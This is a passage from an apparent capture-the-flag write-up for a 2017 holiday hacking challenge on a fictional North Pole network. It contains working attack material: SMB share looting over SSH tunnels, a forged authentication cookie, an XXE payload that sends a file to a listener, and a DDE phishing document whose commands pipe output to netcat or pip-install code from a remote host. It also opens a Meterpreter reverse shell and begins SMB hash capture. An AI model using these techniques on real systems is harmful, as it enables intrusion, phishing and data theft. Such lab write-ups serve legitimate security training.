|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=hhc17-emi
| Subject Alternative Name: DNS:hhc17-emi
| Not valid before: 2017-11-07T13:52:11
|_Not valid after:  2018-11-07T13:52:11
|_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time.
49666/tcp open  msrpc              Microsoft Windows RPC
49668/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.99 seconds

So it does indeed seem to be an SMB server. A command-line tool to access it is smbclient:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ smbclient -L 10.142.0.7 -U alabaster_snowball
rbash: smbclient: command not found

It's not available on l2s. Another option is forwarding a port through SSH:

user@vps $ ssh alabaster_snowball@l2s.northpolechristmastown.com -O forward -L 4445:10.142.0.7:445

Now we can access port 445 on hhc17-smb-server via port 4445 on localhost:

user@vps $ smbclient -L localhost -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password: 
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	FileStor        Disk
	IPC$            IPC       Remote IPC
Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

FileStor looks interesting. Let's see what's on it:

user@vps $ smbclient //localhost/FileStor -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Wed Dec  6 16:51:46 2017
  ..                                  D        0  Wed Dec  6 16:51:46 2017
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
  MEMO - Calculator Access for Wunorse.docx      A   111852  Mon Nov 27 14:01:36 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

		13106687 blocks of size 4096. 9624115 blocks available
smb: \> mget *
getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (1094.4 KiloBytes/sec) (average 1094.4 KiloBytes/sec)
getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (2818.7 KiloBytes/sec) (average 2231.9 KiloBytes/sec)
getting file \MEMO - Calculator Access for Wunorse.docx of size 111852 as MEMO - Calculator Access for Wunorse.docx (666.0 KiloBytes/sec) (average 1924.0 KiloBytes/sec)
getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (834.4 KiloBytes/sec) (average 1752.3 KiloBytes/sec)
getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (99.1 KiloBytes/sec) (average 1599.3 KiloBytes/sec)
getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (390.3 KiloBytes/sec) (average 1452.3 KiloBytes/sec)

We used nmap to list our targets, and found hhc17-smb-server. We used SSH forwarding to connect to it with smbclient. We used the credentials we found for question 2 to connect.

It looks like hhc17-smb-server blocks pings. By default, nmap uses pings to determine which hosts are up, and which it should scan further. We used the "list scan," which just did reverse DNS queries, and were able to identify the system quickly. If, however, someone just tried to run nmap -p 445 10.142.0.0/24, they wouldn't find the system.

It also looked like two systems were mixed up in NetBIOS and RDP SSL cert names:

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
...
Host script results:
| nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
...
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-smb-server
...
Host script results:
| nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)

Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com/. What can you learn from The Great Book page found in an e-mail on that server?

Pepper Minstix provides some hints for this challenge on the There's Snow Place Like Home Level.

Pepper Minstix gives us the following hints:

The question tells us that the page we're looking for is in an e-mail. So, we need to figure out some way to login to the mail system and find the crucial message.

First off, let's pull up the website in our web browser. SSH can run a SOCKS proxy for us, which we can use to tunnel our traffic through l2s. We use the access we got in Question 2 to SSH in:

ssh -D 31080 alabaster_snowball@l2s.northpolechristmastown.com

I like to use Firefox for this, since, unlike Chrome, we can configure proxy settings different from the system-wide settings:

Now we can just navigate to http://mail.northpolechristmastown.com/:

Luckily, we got Alabaster's password in Question 2, so let's login!

Of course! We need an e-mail address:

Luckily, the error message tells us how we need to format the e-mail address:

Curses! Looks like Alabaster is at least smart enough to not reuse credentials. At least he's following the password policy:

Let's review some of the hints that Pepper gave us:

I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.

We scanned this EWA system with nmap before, and one of the nmap scripts did find a reference in robots.txt:

80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Given how much Pepper harps on cookies, perhaps this file is worth investigating. When we view it, we see:

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
function cookie_maker(username, callback){
    var key = 'need to put any length key in here';
    //randomly generates a string of 5 characters
    var plaintext = rando_string(5)
    //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
    //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
    var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
    //Setting the values of the cookie.
    var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
    return callback(acookie);
};
function cookie_checker(req, callback){
    try{
        var key = 'need to put any length key in here';
        //Retrieving the cookie from the request headers and parsing it as JSON
        var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
        //Retrieving the cipher text 
        var ciphertext = thecookie.ciphertext;
        //Retrievingin the username
        var username = thecookie.name
        //retrieving the plaintext
        var plaintext = aes256.decrypt(key, ciphertext);
        //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
        if (plaintext === thecookie.plaintext) {
            return callback(true, username);
        } else {
            return callback(false, '');
        }
    } catch (e) {
        console.log(e);
        return callback(false, '');
    }
};

There's a lot to parse here, but given the number of times AES and IVs are mentioned in the hints, this looks like we're on the right path.

Our next hint is:

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.

Uh-oh… Coming up with your own cryptography scheme should send up all the red flags.

Happy families are all alike; every unhappy family is unhappy in its own way. – Leo Tolstoy

Empty plaintext encrypted without using HMAC are all alike; Rolling your own crypto makes all cryptographers unhappy. – Justin Azoff

At this point, we suspect that there's some kind of vulnerability in the cryptography being used. Reading on:

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Let's pause for a moment to review what we know so far. The e-mail application uses cookies for authentication.

var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), 
               { maxAge: 86400000, httpOnly: true, encode: String }]

As we can see from the line above, the cookie contains a username, some plaintext, and some ciphertext. The cookie_checker function takes the encrypted ciphertext, and attempts to decrypt it with a secret key that only the application has. If the result matches the plaintext from the cookie, the cookie is authentic:

var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
if (plaintext === thecookie.plaintext) {
    return callback(true, username);
} else {
    return callback(false, '');
}

The code, as well as Pepper's hints, tell us something about the structure of the ciphertext:

//makes the string into cipher text .... in base64. 
// When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters

Finally, Pepper gives us this tantalizing hint:

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

By reading the code closely we can see that when the application creates a cookie, the plaintext is 5 random characters. However, nothing in the verification logic requires this. The only check is:

aes256.decrypt(key, ciphertext) === thecookie.plaintext

Let's see what a valid cookie looks like:

$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/'
HTTP/1.1 200 OK
...
Server: nginx/1.10.3 (Ubuntu)
Set-Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}; Max-Age=86400; Path=/; Expires=Wed, 10 Jan 2018 23:37:29 GMT; HttpOnly
...

Let's try what Pepper Minstix suggests: setting our ciphertext to only be 16 characters long. We know that this is base64 encoded, so we'll run:

$ echo -n "Security at NCSA" | base64
U2VjdXJpdHkgYXQgTkNTQQ==

We're using the -n flag of echo to not have a newline at the end, which would give us a 17 character length cookie.

$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' 
  'Cookie:EWA={"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}'
HTTP/1.1 200 OK
...
X-Powered-By: Express

<script>window.location.href='/account.html'</script>

That looks promising! Let's move from the command line back to Firefox. One easy way to edit cookies in Firefox is to go to Tools \=> Web Developer \=> Storage Inspector. We should see an EWA cookie in there already, and we can simply double-click the value field and paste in our forged cookie:

{"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}

Now we just reload the page, and we're in!

At this point, we can start digging through Alabaster's e-mail. Soon, we find this email leading us to http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf:

Alabaster Snowball had a vulnerability in his cookie validation code, where he wasn't verifying the length of the decrypted text. AES will encrypt an empty string as an empty string, so we can forge a cookie without needing to know the key. With this forged cookie, we can login to Alabaster's e-mail, and find an e-mail with a link to the page we're looking for.

If only we could crack Alabaster's password, we wouldn't need to forge any cookies. But more on that later…

As previously mentioned, this seemed to be one of the most-discussed questions in chat. We saw people trying to brute-force the AES key, focus on the encryption of the message, or just try to bypass the web application completely.

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

Minty Candycane offers some tips for this challenge in the North Pole and Beyond.

We need to answer 3 questions involving infractions, insider moles and who is throwing snowballs. We need 4 things to answer these questions.

• We need data from the North Pole Police Department's infractions page.
• We need the naughty and nice list from the SMB server that we accessed from question 3.
• We need the Munchkin Mole Report BOLO also on the SMB server.
• We need to complete the "Bumble's Bounce" level on the WebGL game in order to unlock a chat from Sam.

• To identify what factors trigger a 'naughty' flag.
• To identify the six insider threat moles.
• To identify who is throwing snow balls.

Playing around with the infractions page we can see that once you do a search a "Download" option becomes available to download all the search results in JSON format. Let's automate this to create a local copy of all the data. We can do this searching for all results before and during a specific date, and all results after that date. We then combine those results into a single file. We can automate this with a script we'll call nppd.py.

#!/usr/bin/env python3
import requests
import json

BASE = "http://nppd.northpolechristmastown.com/"

def search_infractions(query):
    url = BASE + "infractions"

    params = {
        "json": "1",
        "query": query,
    }
    resp = requests.get(url, params=params).json()
    return resp['infractions']


def download_infractions():
    old = search_infractions("date <= 2017-12-10")
    recent = search_infractions("date > 2017-12-10")
    all_infractions = old+recent

    print("Old infractions", len(old))
    print("Recent infractions", len(recent))
    print("Total infractions", len(all_infractions))

    with open("infractions.json", 'w') as f:
        json.dump(all_infractions, f, indent=4)

if __name__ == "__main__":
    download_infractions()

Calling nppd.py creates a file 'infractions.json'. Now that we have the NPPD's infractions database we need compare it to the Naughty and Nice file we found on the SMB server. We can automate this process scriptomagically. While we're at it we should also script identifying the 6 insider threat moles as well. For finding the moles it appears their characteristics are pulling hair and throwing rocks. One caveat here is that there are two separate infractions for throwing rocks: "Throwing rocks (non-person target)" and "Throwing rocks (at people)". We'll include both, since we'd rather have a false positive than a false negative at this point in our investigation. We'll try to identify people on the infractions list that pull hair, and throw rocks, regardless of their target.

To get the number of infractions needed to get onto the naughty list we take the names on the Naughty and Nice List that have been marked as "Naughty" and count the total number of infractions for those people and we identify the lowest number of infractions per person amongst all of them.

So to automate all this we'll create a script which we'll call analyze_infractions.py to correlate our data.

#!/usr/bin/env python3
import csv
import json
from operator import itemgetter
from collections import defaultdict

WANT = set(['Aggravated pulling of hair', 'Throwing rocks (at people)', 'Throwing rocks (non-person target)'])

def get_naughty():
    with open("../support_files/FileStore/Naughty and Nice List.csv") as f:
        reader = csv.reader(f)
        rows = list(reader)

    return [name for (name, naughty) in rows if naughty == 'Naughty']

def main():
    byname = defaultdict(set)
    infraction_count_byname = defaultdict(int)
    with open("../output/infractions.json") as f:
        infractions = json.load(f)

    for i in infractions:
        byname[i['name']].add(i['title'])
        infraction_count_byname[i['name']] += 1

    print("Six insider threat moles:")
    for n, titles in byname.items():
        if len(titles & WANT) >= 2:
            print("*", n,titles)

    #############

    min_infractions = min(infraction_count_byname[name] for name in get_naughty())

    print()
    print("How many infractions are required to be marked as naughty on Santa's Naughty and Nice List:", min_infractions)

if __name__ == "__main__":
   main() 

After we run our script we get these results:

Six insider threat moles:
 Isabel Mehta {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Throwing rocks (non-person target)'}
 Nina Fitzgerald {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Possession of unlicensed slingshot', 'Bedtime violation'}
 Kirsty Evans {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Crayon on walls'}
 Sheri Lewis {'Throwing rocks (at people)', 'Aggravated pulling of hair', 'Possession of unlicensed slingshot', 'Naughty words'}
 Beverly Khalil {'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Playing with matches', 'Possession of unlicensed slingshot', 'General sassing'}
 Christy Srivastava {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Tantrum in public', 'Throwing rocks (non-person target)'}

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List: 4

Finally, once we play through the Bumble's Bounce level and get all achievements this chat gets unlocked and we have our answer for who is throwing snowballs.

It appears we need 4 infractions to make the Naughty list.

Our six insider moles appear to be:

• Isabel Mehta
• Nina Fitzgerald
• Kirsty Evans
• Sheri Lewis
• Beverly Khalil
• Christy Srivastava

In addition, we've already identified:

• Bini Aru
• Boq Questrian

According to the unlocked chat with Sam, the person throwing snowballs is the Abominable Snow Monster, but maybe under someone else's control.

The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com/. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond.

This post is called out in the hints:

Exploiting XXE Vulnerabilities in IIS.NET https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities

To pull off this attack, we'll need to host a file somewhere that the EaaS system can reach. We can either host it on l2s, in which case we'll use the following blog post for creating a file on that system, which is locked down with rbash:

A Spot of Tee https://pen-testing.sans.org/blog/2017/12/06/a-spot-of-tee

Alternatively, we could spin up an AWS VM using the instructions in:

Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2) https://pen-testing.sans.org/blog/2017/12/10/putting-my-zero-cents-in-using-the-free-tier-on-amazon-web-services-ec2

The hints are all pretty strongly pointing us towards an XXE vulnerability.

We want to access C:\greatbook.txt, and then follow those instructions to retrieve a page of the Great Book.

We'll start with just pulling up the site in a browser:

Poking around the site a bit, we see that it provides four functions:

1. We can view our current Elf order at http://eaas.northpolechristmastown.com/Home/DisplayXML,
2. On that same page, we can make a change to our order by uploading a file,
3. We can reset the XML file here: http://eaas.northpolechristmastown.com/Home/CreateElfs,
4. We can download the XML file here: http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml

All this XML talk lines up pretty well with the blog post and the hints. Let's see if the EaaS site is vulnerable to XXE.

Following along with the blog post, we'll create a malicious DTD file, borrowing liberally from the SANS post:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

If we can get the XML parser to use this DTD file, it will read our target text file, then send it to a system that we control. This file doesn't help the parser know how to parse our XML, but we don't really care if it gets parsed correctly or not.

In order to have the XML parser load this DTD file, we'll use the XML example in the blog post:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

This will load our evil.dtd file, then instantiate the necessary entities. To finish off the attack, we'll need two HTTP services running. The first will need to serve the evil.dtd file. Python's SimpleHTTPServer is the easiest way to do this, and in fact, that's provided on l2s. We'll create our file, with tee, then start a server. Ports 8080 and 4444 are very contentious on l2s, so we'll use non-standard ones instead:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ cat | tee evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ python -m SimpleHTTPServer 8271
Serving HTTP on 0.0.0.0 port 8271 ...

In another terminal, we'll start up a netcat listener, to capture the response:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272

With these services in place, we're ready to upload our malicious XML file. Using a web browser, we'll upload our XML file, and then see what happens.

Serving HTTP on 0.0.0.0 port 8271 ...
10.142.0.13 - - [10/Jan/2018 22:26:43] "GET /evil.dtd HTTP/1.1" 200 -

Great, our DTD file was loaded! And checking our netcat instance:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272

…nothing. That's disappointing. We've already noticed one typo in the blog. Could it be possible that there was another error? Taking a close look at the image on the page, we notice that part of the DTD file is escaped differently from how the example shows up on the webpage:

We'll update our DTD file, so that the percent sign before sendit is escaped:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

We'll upload our file one more time, and…

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.yNLdj0xcg7AZi5v1gYns2lFO$ nc -l -p 8272
GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1
Host: 10.142.0.11:8272
Connection: Keep-Alive

Success! In the GET request, the text after ? is the contents of C:\greatbook.txt. If we pull up that URL, we get GreatBookPage6.pdf.

We upload this XML file:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

And this is our DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

When we upload our XML file, we receive the contents of the target file, and can then download the PDF.

This followed closely to the SANS blog post, but there was a typo and an HTML rendering issue with some of the provided code that caused some headaches.

Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

Shinny Upatree offers hints for this challenge inside the North Pole and Beyond.

The question gives us a place to start. As we were reviewing the e-mails for Question 4, a few intriguing ones stood out:

From: minty.candycane@northpolechristmastown.com

To: alabaster.snowball@northpolechristmastown.com

Subject: Should we be worried?

Hey Alabaster,

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Should we be worried about this?

I tried it on my local machine and was able to transfer a file. Here's a poc:

I know your the resident computer engineer here so I wanted to defer to the expert.

:)

-Minty CandyCane.

This certainly seems to line up with the hints that we were given. Alabaster's not worried, however:

Subject: Re: Should we be worried?

Quit worrying Minty,

You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.

Sincerely,

Alabaster Snowball.

The other e-mails that seemed intriguging were these two, also from Alabaster:

Subject: gingerbread cookie recipe

Hey Mrs Claus,

Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.

Thanks,

Alabaster Snowball

Subject: Re: COOKIES!

Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.

Thanks!

Alabaster Snowball.

We're trying to craft a malicious .docx file which we'll e-mail to alabaster.snowball@northpolechristmastown.com via the EWA system. When Alabaster opens the e-mail on the EMI system, the command that we embed in the file should get us access to C:\GreatBookPage7.pdf.

At this point, we have a pretty good idea of what we need to do. The sensepost blog post gives us some good instructions at how to construct a malicious docx, and we know how to get Alabaster to click on it.

However, there's a slightly easier way. On the SMB FileStor, we found a docx that Shinny created for Wunorse. If we show the fields (Alt+F9 on Windows, Option+F9 on Mac), we see that this document has a DDE field we can just modify.

Shinny told us that the EMI system also runs IIS, so let's just try copying the PDF into the default IIS webroot.

We'll open up MEMO - Calculator Access for Wunorse.docx, and edit the command to:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k copy C:\\GreatBookPage7.pdf 
C:\\inetpub\\wwwroot\\4beadb1e-5ddb-4636-98a4-c2dac0f79ab3.pdf"

Then, we use the EWA web interface to send an e-mail to Alabaster, with the document attached. We make sure to include the words "gingerbread," "cookie," and "recipe" in the message body, since he told us that that's what he'll click on.

After we send the message, we wait a few minutes, and soon the file shows up!

We modified MEMO - Calculator Access for Wunorse.docx to copy the PDF into the IIS webroot, e-mailed that to Alabaster, then downloaded the copy of the file once it showed up.

Getting the PDF is cool, but what else can we find on this system? Some of the other e-mails harp on Alabaster having installed netcat, and having it in his path. Let's run a command, and pipe the result to netcat, which will send it back to our system:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir C:\\ | nc 1.2.3.4 8888"

On our system, we start a netcat listener:

$ nc -l -p 8888
 Volume in drive C has no label.
 Volume Serial Number is 9454-C240

 Directory of C:\

12/04/2017  08:42 PM         1,053,508 GreatBookPage7.pdf
11/14/2017  07:57 PM    <DIR>          inetpub
09/12/2016  11:35 AM    <DIR>          Logs
12/05/2017  05:00 PM    <DIR>          Microsoft
07/16/2016  01:23 PM    <DIR>          PerfLogs
11/15/2017  02:35 PM    <DIR>          Program Files
11/14/2017  08:24 PM    <DIR>          Program Files (x86)
11/15/2017  03:03 PM    <DIR>          python
11/14/2017  08:39 PM    <DIR>          Users
11/30/2017  06:23 PM    <DIR>          Windows
	       1 File(s)      1,053,508 bytes
	       9 Dir(s)  33,072,455,680 bytes free

C:\Users\alabaster_snowball\Documents>

Success! At this point, we started working on a way to automate this. However, more complex commands would often not work, due to issues with escaping. So instead of using cmd.exe as our delivery mechanism, we used Python.

Python is installed on the system, and a simple command that we can run is to install a Python module via pip:

python.exe -m pip install http://1.2.3.4/foo.tar.gz

When pip installs a module, it will run the setup.py file. By adding arbitrary Python code to this file, we can execute commands without needing to worry about encoding them in a Word document, etc.

The end result was writing a complete end-to-end script, which will build a malicious Word document, e-mail it, create a malicious Python module, and use it to download the PDF.

Instead of just downloading the PDF file, we can modify our script to send a Python meterpreter payload.

We start Meterpreter listening on our local system:

$ msfconsole -r python-meterpreter-staged-reverse-tcp-4444-py.rc

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.16.14-dev-140955f                 ]
+ -- --=[ 1698 exploits - 969 auxiliary - 299 post        ]
+ -- --=[ 500 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc for ERB directives.
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> use exploit/multi/handler
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LHOST 1.2.3.4
LHOST => 1.2.3.4
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LPORT 4444
LPORT => 4444
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set ExitOnSession false
ExitOnSession => false
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 1.2.3.4:4444

Now we use our all-in-one script to send Alabaster our malicious file:

$ ./full_phish.py                                                                                                                                                                                                                                         master
Using 1.2.3.4 as external IP
Found word/document.xml, rewriting 50793 bytes
Before:
DEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"
After:
DEAUTO c:\\windows\\system32\\cmd.exe "/k python.exe -m pip install http://1.2.3.4:8888/foo-1.0.tar.gz"
File uploaded and available at http://mail.northpolechristmastown.com/attachments/emusQH5oH5K2hzajPFvJbTGMuS__gingerbreadcookierecipe.docx
Sending message...

{'result': 'Message <f67b9d00-b263-2fdf-f3d1-2d679bbca9f4@northpolechristmastown.com> sent: 250 2.0.0 Ok: queued as 28EF1C356D', 'bool': True}
Using 1.2.3.4 as external IP
Listening on port 44665
Starting server on port 8888, use <Ctrl-C> to stop
Serving request 1 of 1...
/foo-1.0.tar.gz foo-1
35.185.57.190 - - [10/Jan/2018 03:14:47] "GET /foo-1.0.tar.gz HTTP/1.1" 200 -

And sure enough, we see a new session in Meterpreter:

msf exploit(handler) >
[*] Sending stage (42231 bytes) to 35.185.57.190
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 35.185.57.190:52319) at 2018-01-10 03:15:51 +0000

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : hhc17-smb-server
OS              : Windows 2016 (Build 14393)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows

Being able to use Meterpreter is nice, but it sure would be cool if we could Remote Desktop, or see if Alabaster's password is in use elsewhere. We'll use Metasploit's SMB Authentication Capture module.

msf exploit(handler) > use auxiliary/server/capture/smb
msf auxiliary(smb) > info

       Name: Authentication Capture: SMB
     Module: auxiliary/server/capture/smb
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Available actions:
  Name     Description
  ----     -----------
  Sniffer

Basic options:
  Name        Current Setting   Required  Description
  ----        ---------------   --------  -----------
  CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
  CHALLENGE   1122334455667788  yes       The 8 byte server challenge
  JOHNPWFILE                    no        The prefix to the local filename to store the hashes in John format
  SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT     445              yes       The local port to listen on.

Description:
  This module provides a SMB service that can be used to capture the
  challenge-response password hashes of SMB client systems. Responses
  sent by this service have by default the configurable challenge
  string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy
  cracking using Cain & Abel, L0phtcrack or John the ripper (with
  jumbo patch). To exploit this, the target system must try to
  authenticate to this module. One way to force an SMB authentication
